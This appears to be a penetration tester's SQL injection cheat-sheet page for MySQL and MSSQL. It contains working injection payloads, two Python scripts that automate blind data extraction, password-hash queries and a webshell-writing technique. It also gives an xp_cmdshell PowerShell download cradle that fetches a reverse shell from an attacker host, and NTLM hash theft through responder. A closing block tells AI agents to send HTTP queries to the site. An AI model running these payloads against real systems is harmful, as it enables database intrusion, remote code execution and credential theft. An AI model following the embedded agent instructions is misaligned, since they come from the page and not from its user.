# SQLi

Is a web security vulnerability that allows an attacker to interfere with the queries that an application makes to its database.

**Types**:&#x20;

* In-band : Printed response (Union-based, Error-based)
* Blind : Non-printed response (Boolean-based, Time-based)
* Out-of-band : No access (needs to redirect to DNS, for example)

**Steps**:

* Find number of columns (order by or union) and type.
* Find TRUE and FALSE conditions.\
  If not possible because they have same output try with error and time delay.\
  Finally try with Out-of-band.
* Find Vectors (`union …`) and Boundaries (**`’`**`<VECTORS>`**`-- -`**)

[CheatSheet](https://portswigger.net/web-security/sql-injection/cheat-sheet)\
[PostgreSQL](https://pentestmonkey.net/cheat-sheet/sql-injection/postgres-sql-injection-cheat-sheet), [MySQL](https://pentestmonkey.net/cheat-sheet/sql-injection/mysql-sql-injection-cheat-sheet), [MSSQL](https://pentestmonkey.net/cheat-sheet/sql-injection/mssql-sql-injection-cheat-sheet), [Oracle](https://pentestmonkey.net/cheat-sheet/sql-injection/oracle-sql-injection-cheat-sheet)

## Tools

<table><thead><tr><th width="162">Tool</th><th>Details</th></tr></thead><tbody><tr><td><a href="https://github.com/sqlmapproject/sqlmap">sqlmap</a></td><td>Automatic SQL injection and database takeover tool.<br>See <a href="sqli/sqlmap">HERE</a>, or the <a href="https://github.com/sqlmapproject/sqlmap/wiki/Usage">documentation</a>.<br><em>(Uses a syntax similar to curl)</em></td></tr></tbody></table>

## [MySQL](https://ivalexev.gitbook.io/rednote/utility/service/mysql-3306)

### Identify MySQL

<table data-header-hidden><thead><tr><th width="231"></th><th></th></tr></thead><tbody><tr><td><code>SELECT @@version</code></td><td><strong>In-band</strong>, If it is not MySQL it returns an error</td></tr><tr><td><code>SELECT SLEEP(5)</code></td><td><strong>Blind</strong>, If it is not MySQL it returns an error</td></tr></tbody></table>

### Enumeration DB

<table data-header-hidden><thead><tr><th width="253"></th><th></th></tr></thead><tbody><tr><td><code>@@version</code> / <code>version()</code></td><td>MySQL version</td></tr><tr><td><code>database()</code></td><td>Get the current database in use</td></tr><tr><td><code>INFORMATION_SCHEMA</code></td><td>Database that contains all the information.<br>Main tables:<br><a href="https://dev.mysql.com/doc/refman/8.0/en/information-schema-schemata-table.html">SCHEMATA</a> (<code>SCHEMA_NAME</code> db name)<br><a href="https://dev.mysql.com/doc/refman/8.0/en/information-schema-tables-table.html">TABLES</a> (<code>TABLE_NAME</code>,<code>TABLE_SCHEMA</code>)<br><a href="https://dev.mysql.com/doc/refman/8.0/en/information-schema-columns-table.html">COLUMNS</a> (<code>TABLE_NAME</code>,<code>TABLE_SCHEMA</code>,<code>COLUMN_NAME</code>) <br><a href="https://dev.mysql.com/doc/refman/5.7/en/information-schema-variables-table.html">GLOBAL_VARIABLES</a> (<code>variable_name</code>,<code>variable_value</code>)<br><em>Dot Notation (.) to refer to other databases.</em></td></tr></tbody></table>

### User & Privileges

<table data-header-hidden><thead><tr><th width="376"></th><th></th></tr></thead><tbody><tr><td><code>user()</code> / <code>current_user()</code> / <code>system_user()</code> / <code>user FROM mysql.user</code></td><td>Get the current user in use</td></tr><tr><td><code>SELECT super_priv FROM mysql.user WHERE user="&#x3C;NAME>"</code></td><td>View if a user is DBA, Database Administrator with Administrator privileges.<br>To see all fields: <a href="https://mariadb.com/kb/en/mysql-user-table/">mysql.user</a></td></tr><tr><td><code>SELECT grantee, privilege_type FROM information_schema.user_privileges WHERE grantee="''@'localhost'"</code></td><td>View all privileges of a user. Check if you have <code>FILE</code> that allows me to read and write files.<br>To see all fields: <a href="https://dev.mysql.com/doc/refman/8.0/en/information-schema-user-privileges-table.html">INFORMATION_SCHEMA.USER_PRIVILEGES</a></td></tr><tr><td><code>SELECT user, authentication_string FROM mysql.user WHERE user = '&#x3C;USER>';</code></td><td>The user's password is stored in the <em>authentication_string</em> field</td></tr></tbody></table>

### Action

See [Web Root](https://ivalexev.gitbook.io/rednote/utility/service/http-https-80-443#web-root).

<table data-header-hidden><thead><tr><th width="281"></th><th></th></tr></thead><tbody><tr><td><code>show variables like "secure_file_priv";</code></td><td><p>The <a href="https://mariadb.com/kb/en/server-system-variables/#secure_file_priv">secure_file_priv</a> variable determines from where you can read and write (<code>NULL</code>=no files/directories, <code>EMPTY</code>=entire file system). Read the value of the variable from <code>INFORMATION_SCHEMA.GLOBAL_VARIABLES</code>.<br><strong>MariaDB</strong> has <code>secure_file_priv</code> default to <code>EMPTY</code>.</p><p><strong>MySQL</strong> has <code>secure_file_priv</code> default to <code>/var/lib/mysql-files</code> or <code>NULL</code> on some modern configs.</p></td></tr><tr><td><p><mark style="color:red;"><strong>READ</strong></mark></p><p><code>SELECT LOAD_FILE(&#x3C;PATH>)</code></p></td><td>If the user has FILE privilege and secure_file_priv empty or with interesting path, it is possible to read files via <a href="https://mariadb.com/kb/en/load_file/">LOAD_FILE()</a> function.<br><em>Also used to print source code.</em></td></tr><tr><td><mark style="color:red;"><strong>WRITE</strong></mark> <br><code>SELECT '&#x3C;STRING>' INTO OUTFILE '&#x3C;PATH>'</code><br><em>or</em><br><code>SELECT FROM_BASE64(“&#x3C;BASE64>” ) INTO OUTFILE '&#x3C;PATH>'</code></td><td>If the user has FILE privilege and secure_file_priv empty or with interesting path, you can write the output of a select to a file with <a href="https://mariadb.com/kb/en/select-into-outfile/">INTO OUTFILE</a>.<br>With long or binary files use base64.<br><em>Also used to write webshell on the target.</em></td></tr></tbody></table>

### Payload

{% tabs %}
{% tab title="In-Band" %}

### Table

{% code overflow="wrap" %}

```
SELECT table_name FROM information_schema.tables WHERE table_schema = DATABASE() LIMIT 1 OFFSET 0
```

{% endcode %}

### Column

{% code overflow="wrap" %}

```
SELECT column_name FROM information_schema.columns WHERE table_name = '<TABELLA>' LIMIT 1 OFFSET 0
```

{% endcode %}

### Error

{% code overflow="wrap" %}

```
SELECT count(*), concat(( <PAYLOAD_TO_PRINT> ), 0x20 , floor(rand(0)*2)) as x FROM information_schema.tables group by x; -- -
```

{% endcode %}

Sometimes in Blind SQLi the condition true and false generate the same output. You can, however, use the Error-Base SQLi to get the true and false condition.

{% code overflow="wrap" %}

```
xyz' AND (SELECT CASE WHEN (1=2) THEN 1/0 ELSE 'a' END)='a
xyz' AND (SELECT CASE WHEN (1=1) THEN 1/0 ELSE 'a' END)='a
```

{% endcode %}

{% code overflow="wrap" %}

```sql
# example
xyz' AND (SELECT CASE WHEN (Username = 'Administrator' AND SUBSTRING(Password, {}, 1) = '{}') THEN 1/0 ELSE 'a' END FROM Users)='a
# oracle
xyz' AND (SELECT CASE WHEN SUBSTR(password,{},1)='{}' THEN TO_CHAR(1/0) ELSE 'a' END FROM users WHERE username='administrator')='a
```

{% endcode %}
{% endtab %}

{% tab title="Blind" %}

### Blind with Hex

For the code

```
DICTIONARY = '0123456789abcdef'
STRING = ""

WHILE until it doesn't match anything in the dictionary:
   For each <X> in DICTIONARY:
   
	1) PAYLOAD = - In-Band Payload (what I want to read with blind technique)
	   	     - Returned in HEX().
	   	     - Renamed as elment.
	   es. SELECT HEX(<column>) AS element FROM <table> LIMIT 1 OFFSET 0
		
	2) K' and (SELECT 1 FROM (PAYLOAD) as payload WHERE element LIKE 'STRING<X>%') =1 -- -
		
	3) If we have the true condition: 
		STRING += X
		BREAK

   else:
	BREAK

Print with: bytes.fromhex(STRING).decode()
```

### Time

Substitute the `SELECT 1` above with `SLEEP(1)`
{% endtab %}

{% tab title="Other" %}
Error

{% code overflow="wrap" %}

```
' or 1=1 in (SELECT password FROM users WHERE username = 'admin') -- //
' or 1=1 in (select @@version) -- //
```

{% endcode %}

Time

{% code overflow="wrap" %}

```
' AND IF (1=1, sleep(3),'false') -- //
```

{% endcode %}
{% endtab %}
{% endtabs %}

<details>

<summary>MyMultipleBlind</summary>

Change parameters such as `URL`, `error`, the `sendReq` function, and `payloads` with your own Vectors and Boundaries.

```python
import requests, sys, argparse

s = requests.session()
proxy = {'http': 'http://127.0.0.1:8080', 'https': 'http://127.0.0.1:8080'}

URL = '<URL>'
error = 'Invalid username or password'

def sendReq(payload):
    data = {
        "username": payload,
        "password": "RANDOM"
    }
    r = s.post(f'{URL}/', data=data) #json=data
    return error not in r.text


#* toDo = 0 -> TABLE
#* toDo = 1 -> COLUMN
#* toDo = 2 -> DATA
def SQLi(toDo, tabella, colonna, quanti):
    print("[!] Searching", end=' ')
    DICTIONARY = '0123456789abcdef'
    KNOW = [tabella, colonna, ""]
    
    # HOW MUCH DATA TO EXTRACT
    for n in range(quanti):
        while True:
            # CHECK EVERY CHARACTER 
            for c in DICTIONARY:
                # SET PAYLOAD BY TYPE
                if toDo == 0:
                    COSA = f"SELECT HEX(table_name) as element FROM information_schema.tables WHERE table_schema = DATABASE() LIMIT 1 OFFSET {n}"
                elif toDo == 1:
                    COSA = f"SELECT HEX(column_name) as element FROM information_schema.columns WHERE table_name = '{tabella}' LIMIT 1 OFFSET {n}"
                elif toDo == 2:
                    COSA = f"SELECT HEX({colonna}) as element FROM {tabella} LIMIT 1 OFFSET {n}"

                know = KNOW[toDo]
                
                # PAYLOAD 
                PAYLOAD = f"999' or (SELECT 1 FROM ({COSA}) as payload WHERE element LIKE '{know}{c}%')=1 limit 1 offset 0 -- -"
                
                # SEND PAYLOAD 
                if sendReq(PAYLOAD):
                    KNOW[toDo] += c
                    sys.stdout.flush()
                    print(".", end='')
                    break
                
            # CHECK IF IT IS THE END OF DATA
            else:
                if KNOW[toDo] != "":
                    print("\n[+] FOUND: ", bytes.fromhex(KNOW[toDo]), end=' ')
                break
            
        # IF THERE ARE NO OTHER DATA
        if KNOW[toDo] == "": 
            print("\n[!] End search.")
            sys.stdout.flush()
            break
        
        else: KNOW[toDo] = ''
        
        
parser = argparse.ArgumentParser(description='SQL injection.')

parser.add_argument('-t', metavar='TABLE',  default='', help='Specify table for column extraction.')
parser.add_argument('-c', metavar='COLUMN', default='', help='Specify column for data extraction, to be used with -t.')
parser.add_argument('-n', metavar='NUMBER', default=10, help='Specify how much data to extract.')

args = parser.parse_args()

mode = 0
if args.t: mode += 1
if args.c: mode += 1
if args.c and not args.t: 
    parser.error("-c must be specified along with -t.")

# RUN
SQLi(mode, args.t, args.c, args.n)

```

</details>

<details>

<summary>MyTimeBased</summary>

Change parameters such as `IP_PORT` and `payloads` with your own Vectors and Boundaries. Inserting your own payload (es. `PAYLOAD_COLUMNS` or `PAYLOAD_DATA`) into `PAYLOAD_BLIND`.

```python
import requests
import time
from urllib.parse import quote

IP_PORT = "<IP>:<PORT>"

# PAYLOAD
PAYLOAD_COLUMNS = "SELECT HEX(column_name) as element FROM information_schema.columns WHERE table_name = '<?>' LIMIT 1 OFFSET 0"
PAYLOAD_DATA = f"SELECT Hex(<?>) as element FROM <?> LIMIT 1 OFFSET 0"

DICTIONARY = "0123456789abcdef"
STRING = ""

def send(payload):
    return requests.get(f"http://{IP_PORT}/<PAGE>", json=payload)

end = False
while not end:
    for d in DICTIONARY:
        
        PAYLOAD_BLIND =  {
            "id": f"1 AND (SELECT SLEEP(1) FROM ({PAYLOAD_DATA}) as payload WHERE element LIKE '{STRING}{d}%')"
        }
        if send(PAYLOAD_BLIND).elapsed.total_seconds()>= 1: 
            print("FOUND : ", d, " - ", STRING)
            STRING += d
            break
        time.sleep(0.05)
    else:
        end = True
    
print("\n[+] LEAK:\t", bytes.fromhex(STRING).decode())
```

</details>

## [MSSQL](https://ivalexev.gitbook.io/rednote/utility/service/mssql-1433-2433)

### Enumeration

With [impacket-mssqlclient](https://github.com/fortra/impacket/blob/master/examples/mssqlclient.py)

{% code overflow="wrap" %}

```
enum_db
enum_links
enum_impersonate
enum_logins
enum_users    # to see sysadmin users
enum_owner 
```

{% endcode %}

Check sysadmin

{% code overflow="wrap" %}

```sql
SELECT SYSTEM_USER
SELECT IS_SRVROLEMEMBER(‘sysadmin’)
```

{% endcode %}

### Credentials sa

Check if it is possible to recover the password hash of the **sa** account, which has full control over the DBMS.

{% code overflow="wrap" %}

```sql
SELECT name, password FROM master..sysxlogins  # MSSQL Server 2000
SELECT name, password_hash FROM master.sys.sql_logins  # >= 2005
```

{% endcode %}

### xp\_cmdshell

Procedure that allows you to execute commands, but is disabled by default and requires sa privileges (both to execute commands and to enable/disable `xp_cmdshell`).

{% code overflow="wrap" %}

```sql
EXEC master..xp_cmdshell '<command>'
EXECUTE xp_cmdshell '<command>';
```

{% endcode %}

```sql
xp_cmdshell <COMANDO>
```

{% tabs %}
{% tab title="Enable xp\_cmdshell" %}
{% code overflow="wrap" %}

```sql
EXEC sp_configure 'show advanced options', 1 ;  # or EXECUTE
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1;
RECONFIGURE;
```

{% endcode %}
{% endtab %}

{% tab title="Disable xp\_cmdshell" %}
{% code overflow="wrap" %}

```sql
EXEC sp_configure 'xp cmdshell' 0;
EXEC sp_configure 'show advanced options', 0;
RECONFIGURE;
```

{% endcode %}
{% endtab %}

{% tab title=" mssqlclient" %}
With [impacket-mssqlclient](https://github.com/fortra/impacket/blob/master/examples/mssqlclient.py)

{% code overflow="wrap" %}

```
enable_xp_cmdshell
```

{% endcode %}

{% code overflow="wrap" %}

```
xp_cmdshell <COMANDO>
```

{% endcode %}
{% endtab %}

{% tab title="ReverseShell" %}
Prepare the reverse shell file

{% code overflow="wrap" %}

```sh
sudo apt install nishang
cp /usr/share/nishang/Shells/Invoke-PowerShellTcp.ps1 rev.ps1
# Add to the end of the file
Invoke-PowerShellTcp -Reverse -IPAddress <IP> -Port <PORT1>
```

{% endcode %}

Set up the server

{% code overflow="wrap" %}

```bash
python3 -m http.server 
# and
rlwrap -cAr nc -lnvp
```

{% endcode %}

Command

{% code overflow="wrap" %}

```bash
EXECUTE xp_cmdshell "powershell IEX(New-Object Net.webclient).downloadString('http://<IP>:<PORT2>/rev.ps1')"
```

{% endcode %}
{% endtab %}
{% endtabs %}

### Read file

We can read files, of course if we have the appropriate permissions.

{% code overflow="wrap" %}

```sql
SELECT * FROM OPENROWSET(BULK N'C:/Windows/System32/drivers/etc/hosts', SINGLE_CLOB) AS Contents
```

{% endcode %}

Other info [HERE](https://code-white.com/blog/2015-06-reading-and-writing-files-with-mssql-openrowset/) (ex. write file)

### NTLM Hash Recovery

We can retrieve and steal the password hash of the MSSQL service account, under which the DB is running, which is different from the one in MSSQL.\
To do this we use [responder](https://github.com/SpiderLabs/Responder).

{% code overflow="wrap" %}

```bash
sudo responder -I <INTERFACE>
```

{% endcode %}

{% code overflow="wrap" %}

```
EXEC master..xp_dirtree '\\<IP>\share\'
EXEC master..xp_subdirs '\\<IP>\share\'
```

{% endcode %}

### Impersonation

With the special permission, called IMPERSONATE, it is possible to impersonate other users by assuming their permissions. Administrators can impersonate anyone, while for others, privileges must be explicitly assigned.

***Tip**: Do in DB master*

{% code overflow="wrap" %}

```sql
USE master
```

{% endcode %}

Identifying users we can impersonate

{% code overflow="wrap" %}

```sql
SELECT distinct b.name FROM sys.server_permissions a INNER JOIN sys.server_principals b ON a.grantor_principal_id = b.principal_id WHERE a.permission_name = 'IMPERSONATE'
```

{% endcode %}

Impersonation

{% code overflow="wrap" %}

```sql
EXECUTE AS LOGIN = '<WHO>'
```

{% endcode %}

Check

{% code overflow="wrap" %}

```sql
SELECT SYSTEM_USER
SELECT IS_SRVROLEMEMBER('sysadmin')
```

{% endcode %}

### Communication with other DBs

If we can access a SQL Server with a linked server configured, we may be able to move laterally on that database server. We can try to execute commands if we have the appropriate permissions.\
\&#xNAN;***Note**: It is possible that only some users can execute commands on those DB links, try with everyone, even impersonated ones.*

Identify connected servers (try all)

{% code overflow="wrap" %}

```sql
SELECT srvname, isremote FROM sysservers
```

{% endcode %}

Executing commands

{% code overflow="wrap" %}

```sql
EXECUTE('select @@servername, @@version, system_user, is_srvrolemember(''sysadmin'')') AT [10.0.0.12\SQLEXPRESS]
# or 
EXECUTE('select @@servername, @@version, system_user, is_srvrolemember(''sysadmin'')') AT [SQLEXPRESS]
```

{% endcode %}

***Note**: If we need to use quotes in our query to run on the linked server, we need to use two single quotes to escape the single quote.*

### Get SID

{% code overflow="wrap" %}

```sql
SELECT SUSER_SID('SIGNED\IT');
```

{% endcode %}

Then you can convert it

{% code overflow="wrap" %}

```bash
python3 -c "
binary_sid = '<VALUE_TO_INSERT>'
sid_bytes = bytes.fromhex(binary_sid)
import struct
revision = sid_bytes[0]
sub_authority_count = sid_bytes[1]
identifier_authority = struct.unpack('>Q', b'\x00\x00' + sid_bytes[2:8])[0]
sub_authorities = []
for i in range(8, len(sid_bytes), 4):
    sub_authorities.append(struct.unpack('<I', sid_bytes[i:i+4])[0])
sid_str = f'S-{revision}-{identifier_authority}' + ''.join(f'-{sub}' for sub in sub_authorities[:sub_authority_count])
print(sid_str)
"
```

{% endcode %}

### Payload

Blind with time delay

{% code overflow="wrap" %}

```
'; IF (1=2) WAITFOR DELAY '0:0:10'--
'; IF (1=1) WAITFOR DELAY '0:0:10'--
```

{% endcode %}

{% code overflow="wrap" %}

```sql
# example
'; IF (SELECT COUNT(Username) FROM Users WHERE Username = 'Administrator' AND SUBSTRING(Password, {}, 1) > '{}') = 1 WAITFOR DELAY '0:0:{delay}'--
```

{% endcode %}


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://ivalexev.gitbook.io/rednote/pentesting-process/web-attacks/sqli.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
